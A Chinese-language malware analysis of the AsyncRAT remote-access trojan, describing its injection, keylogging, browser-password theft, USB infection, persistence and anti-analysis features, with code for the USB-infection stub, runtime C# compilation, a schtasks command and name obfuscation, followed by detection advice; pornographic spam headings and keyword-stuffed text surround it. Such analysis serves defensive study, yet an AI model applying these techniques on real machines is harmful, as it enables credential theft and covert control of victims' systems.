成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

AsyncRAT利用分析

開發
AsyncRAT是一款使用C Sharp開發的C2工具,本文僅在技術研究的角度分析AsyncRAT的技術細節,介紹檢測方法。

[[343203]]

0x01 簡介

· AsyncRAT的優點

· AsyncRAT的技術細節

· 檢測方法

0x02 AsyncRAT的優點

AsyncRAT使用C Sharp開發,應用于Windows系統,具有以下優點:

1. 支持從Pastebin.com讀取C2服務器的配置信息;

2. 支持內存加載PE文件;

3. 支持動態編譯并執行C#或者VB代碼;

4. 支持U盤感染,能夠感染U盤中所有使用.NET開發的exe文件;

5. 支持自動讀取Firefox和Chrome瀏覽器中保存的密碼;

6. 通過欺騙用戶點擊的方式繞過UAC進行提權;

7. 通過C#接口技術,提高程序的擴展性,在程序實現上將每一個功能對應一個類,編譯成dll文件,在需要加載的時候,由Server發送至Client,Client通過Activator.CreateInstance將類實例化,進而調用類的方法。

0x03 AsyncRAT的技術細節

本節按照AsyncRAT控制面板上的功能逐個進行分析,如下圖: 

1.SendFile

(1)ToMemory

內存加載exe文件,支持以下兩種類型:

· Reflection

· 使用Assembly.Load加載C#程序

更多細節可參考之前的文章《從內存加載.NET程序集(Assembly.Load)的利用分析》。

· RunPE

· 通過替換進程內存的方式加載exe文件

可選擇以下程序作為被注入的程序:

· aspnet_compiler.exe

· RegAsm.exe

· MSBuild.exe

· RegSvcs.exe

· vbc.exe

注:

· 以上5個exe文件位于Microsoft.NET Framework的安裝目錄,同AsyncClient.exe的位數保持一致

· 使用32位的AsyncClient.exe反彈回的Session,默認會尋找32位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319

· 使用64位的AsyncClient.exe反彈回的Session,默認會尋找64位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319

· RunPE操作將啟動以上5個exe文件中的一個,通過ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread實現對進程內存的修改,替換成要加載的exe文件

· 這里需要注意要加載的exe文件需要同AsyncClient.exe的位數保持一致

· 使用32位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載32位的exe文件

· 使用64位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載64位的exe文件

更多細節可參考之前的文章《傀儡進程的實現與檢測》

(2)ToDisk

將exe文件上傳到目標主機的%Temp%目錄,重命名為隨機字符串,再使用Powershell啟動exe文件,執行后不會刪除%Temp%目錄下的exe文件。

2. Monitoring

(1)Remote Desktop

· 監控屏幕,實時獲得目標桌面的內容(只能監控,無法操作)

· 調用Graphics類的CopyFromScreen實現屏幕截圖

通過Python實現監控屏幕的細節可參考之前的文章《Pupy利用分析——Windows平臺下的屏幕控制》。

(2)Keylogger

· 實時獲得目標主機鍵盤輸入的消息和進程名稱

· 通過hook的方式實現鍵盤記錄

(3)Password Recovery

· 獲得Firefox和Chrome瀏覽器中保存的密碼

技術細節可參考之前的文章《滲透技巧——導出Firefox瀏覽器中保存的密碼》和《滲透技巧——導出Chrome瀏覽器中保存的密碼》。

(4)File Manager

· 文件管理,還支持隱蔽安裝7zip和對文件的壓縮及解壓縮

隱蔽安裝7zip的方式:

· 在%Temp%目錄新建文件夾7-Zip,釋放文件7z.exe和7z.dll

(5)Process Manager

· 進程管理,支持查看進程和關閉進程

(6)Report Window

· 監控重要進程,當目標主機上運行指定進程時,控制端彈出提示消息

(7)Webcam

· 開啟攝像頭

3.Miscellaneous

(1)Bots Killer

清除自身進程在注冊表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的項。

(2)USB Spread

1. 當目標主機連接U盤時,感染U盤中的文件。

2. 將木馬客戶端復制到U盤中并隱藏,默認保存的名稱為LimeUSB.exe。

修改U盤中所有使用.NET開發的exe文件,通過CSharpCodeProvider改變程序運行流程,添加以下代碼:

  1. using System; 
  2. using System.Diagnostics; 
  3. using System.Reflection; 
  4. using System.Runtime.InteropServices; 
  5.  
  6. [assembly: AssemblyTrademark("%Lime%")] 
  7. [assembly: Guid("%Guid%")] 
  8.  
  9. static class %LimeUSBModule% 
  10.     public static void Main() 
  11.     { 
  12.         try 
  13.         { 
  14.             System.Diagnostics.Process.Start(@"%File%"); 
  15.         } 
  16.         catch { } 
  17.         try 
  18.         { 
  19.             System.Diagnostics.Process.Start(@"%Payload%"); 
  20.         } 
  21.         catch { } 
  22.     } 

用戶在啟動正常文件的同時會隱蔽執行U盤中的木馬客戶端。

(3)Seed Torrent

· 向目標主機發送種子文件并下載

· 目標主機需要安裝uTorrent或者BitTorrent

(4)Remote Shell

· 彈出一個交互式的cmd窗口

(5)DOS Attack

· 向指定域名持續發送HTTP數據包

(6)Execute .NET Code

· 在目標主機上動態編譯C#或者VB代碼并執行

· 模板文件包含彈框和下載執行的功能

我提取出了其中編譯C#代碼并執行的功能,代碼示例如下:

  1. using System; 
  2. using System.CodeDom; 
  3. using System.CodeDom.Compiler; 
  4. using System.Reflection; 
  5. namespace CodeDomProviderTest 
  6.     class Program 
  7.     { 
  8.         static void Main(string[] args) 
  9.         { 
  10.             string source = @" 
  11. using System; 
  12. using System.Windows.Forms; 
  13. namespace AsyncRAT 
  14.     public class Program 
  15.     { 
  16.         public static void Main(string[] args) 
  17.         { 
  18.             try 
  19.             { 
  20.                 MessageBox.Show(""Hello World""); 
  21.             } 
  22.             catch { } 
  23.         } 
  24. }"; 
  25.             CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");   
  26.             try 
  27.             {               
  28.                 var compilerOptions = "/target:winexe /platform:anycpu /optimize-"
  29.  
  30.                 var compilerParameters = new CompilerParameters(); 
  31.                 compilerParameters.ReferencedAssemblies.Add("system.dll"); 
  32.                 compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll"); 
  33.                 compilerParameters.GenerateExecutable = true
  34.                 compilerParameters.GenerateInMemory = true
  35.                 compilerParameters.CompilerOptions = compilerOptions; 
  36.                 compilerParameters.TreatWarningsAsErrors = false
  37.                 compilerParameters.IncludeDebugInformation = false
  38.  
  39.                 var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); 
  40.                 if (compilerResults.Errors.Count > 0) 
  41.                 { 
  42.                     foreach (CompilerError compilerError in compilerResults.Errors) 
  43.                     { 
  44.                         Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText, 
  45.                             compilerError.Line, compilerError.Column, compilerError.FileName)); 
  46.                         break; 
  47.                     } 
  48.                 } 
  49.                 else 
  50.                 { 
  51.                     Assembly assembly = compilerResults.CompiledAssembly; 
  52.                     MethodInfo methodInfo = assembly.EntryPoint; 
  53.                     object injObj = assembly.CreateInstance(methodInfo.Name); 
  54.                     object[] parameters = new object[1]; 
  55.                     if (methodInfo.GetParameters().Length == 0) 
  56.                     { 
  57.                         parameters = null
  58.                     } 
  59.                     methodInfo.Invoke(injObj, parameters); 
  60.                 } 
  61.             } 
  62.             catch (Exception ex) 
  63.             { 
  64.                 Console.WriteLine(ex.Message); 
  65.             } 
  66.         } 
  67.     } 

(7)Files Searcher

· 搜索指定后綴名的文件并打包成zip文件

4.Extra

(1)Visit Website

· 啟動默認瀏覽器并訪問指定URL,界面不隱藏

(2)Send MessageBox

· 在目標主機上彈出對話框

(3)Chat

· 在目標主機上彈出對話框,實時顯示輸入的內容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin權限重新啟動木馬客戶端,這個操作會在用戶桌面彈出UAC框,需要用戶選擇允許后才能運行;

2. 如果用戶未選擇允許,會一直彈出UAC對話框;

3. UAC對話框的程序位置會暴露木馬客戶端的路徑;

4. 如果想要偽造一個更加可信的UAC對話框(不暴露程序位置)可以參考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能:

通過WinAPI CreateDesktop()創建一個隨機名稱的虛擬桌面,內容為空,當切換到這個空的虛擬桌面時,用戶無法對桌面進行操作。

Stop功能:

通過WinAPI SwitchDesktop()切換到原來的桌面。

(6)Disable Windows Defender

· 通過修改注冊表的方式關閉Windows Defender,通常在Win10系統上使用

(7)Set Wallpaper

· 設置用戶的桌面

5.Server

· Block Clients

· 拒絕指定IP回連的木馬客戶端

6.Builder

(1)Connection

DNS:指定C2 Server的IP,可以設置多個;

Port:指定C2 Server的端口,可以設置多個;

Pastebin:從Pastebin.com讀取C2 Server的信息,包括DNS和Port。

內容示例:

  1. 127.0.0.1:6606:7707:8808 

(2)Install

1. 用作配置木馬客戶端自啟動的功能;

2. 開啟這個功能后會將木馬客戶端復制到指定位置;

3. 文件名稱可以重新命名;

4. 文件路徑可選擇%AppData%或%Temp%目錄;

5. 當木馬客戶端以普通用戶權限執行時,會在注冊表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加項,以新的木馬客戶端名稱作為注冊表項的名稱,以新的木馬客戶端路徑作為注冊表項的數據。

當木馬客戶端以管理員權限執行時,會使用schtasks命令創建計劃任務,命令示例:

  1. schtasks /create /f /sc onlogon /rl highest /tn  /tr 

計劃任務的名稱為新的木馬客戶端名稱,會在用戶登錄時執行計劃任務。

(3)Misc

Group:對木馬客戶端進行分類;

Mutex:設置互斥量,避免木馬客戶端的重復啟動;

Anti Analysis:

包括以下功能:

· DetectManufacturer,通過WMI獲得系統信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox

· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()檢查是否為調試器

· DetectSandboxie,使用WinApi GetModuleHandle()檢查SbieDll.dll是否存在

· IsSmallDisk,檢查硬盤大小是否小于60Gb

· IsXP,檢查系統名稱是否包含字符xp

Process Critica:

將進程設置為保護進程,如果意外關閉了保護進程,那么將導致BSOD。

更多細節可參考之前的文章《結束進程導致BSOD的利用分析》。

Delay:延遲執行的時間

(4)Assembly

· 可以手動設置文件屬性,也可以復制指定文件的文件屬性

(5)Icon

· 設置文件圖標

(6)Build

· Simple Obfuscator:通過重命名的方式實現簡單的混淆

關鍵代碼:

 

  1. private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule) 
  2.     { 
  3.         ModuleDefMD module = inModule; 
  4.         IRenaming rnm = new NamespacesRenaming(); 
  5.         module = rnm.Rename(module); 
  6.         rnm = new ClassesRenaming(); 
  7.         module = rnm.Rename(module); 
  8.         rnm = new MethodsRenaming(); 
  9.         module = rnm.Rename(module); 
  10.         rnm = new PropertiesRenaming(); 
  11.         module = rnm.Rename(module); 
  12.         rnm = new FieldsRenaming(); 
  13.         module = rnm.Rename(module); 
  14.         return module; 
  15.     } 

0x04 檢測方法

1.查找可疑文件

路徑:%AppData%和%Temp%目錄。

2.使用Autoruns檢查可疑的啟動項

(1)注冊表位置

· HKLM\Software\Microsoft\Windows\CurrentVersion\Run

· HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2)計劃任務列表

3.后臺可疑進程

· AsyncRAT的木馬客戶端只有exe文件一種形式,在運行時會產生可疑的進程

4.通信流量

· 查看可疑進程對外通信流量

5.使用殺毒軟件

· 目前殺毒軟件均會對AsyncRAT進行攔截

0x05 小結

本文在技術研究的角度分析AsyncRAT的技術細節,介紹檢測方法。

 

責任編輯:姜華 來源: 嘶吼網
相關推薦

2024-08-06 09:48:49

2023-08-02 08:27:13

2013-03-22 10:00:14

2022-09-27 14:46:03

網絡安全計算機惡意軟件

2009-02-04 10:30:47

2016-09-29 14:37:39

ImageMagick漏洞分析

2024-09-02 22:51:59

結構化架構模型

2020-12-25 15:24:24

人工智能

2017-12-20 09:52:50

2017-08-22 13:45:27

2009-07-04 21:19:04

2023-03-09 08:30:34

2021-01-20 08:30:00

數據分析機器學習IT

2009-11-16 16:43:24

PHP數組刪除

2019-02-26 15:15:16

DNS漏洞IP

2019-04-02 08:30:03

2010-06-27 17:27:59

新風冷源

2024-07-26 21:36:43

2012-09-21 10:12:37

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲性爰 | 国产午夜三级一区二区三 | 成人av鲁丝片一区二区小说 | 欧产日产国产精品视频 | 久久国品片 | 五月婷婷视频 | 国产91在线播放 | www97影院| 一区二区三区四区不卡 | 日韩精品一区二区三区中文在线 | www狠狠干| av中文字幕在线 | 精品伊人久久 | 欧美精品一区二区在线观看 | 男女视频在线观看免费 | 午夜久草 | 亚洲精品白浆高清久久久久久 | 九九综合| 操人网| 91亚洲精品在线观看 | 日韩有码一区二区三区 | 精品一区二区三区视频在线观看 | 欧美性网 | www.久久久 | 国产欧美在线 | 91av在线视频观看 | 国产精品成人一区二区 | 国产精品一区一区 | 亚洲国产成人在线 | 我爱操 | 免费黄色在线观看 | av天空| 成人在线视频观看 | 欧美精品成人 | 午夜精品久久久 | 亚洲欧美国产精品久久 | 欧美成年黄网站色视频 | 一级黄色裸片 | 国产精品久久av | 亚洲午夜精品一区二区三区他趣 | 国产亚洲精品一区二区三区 |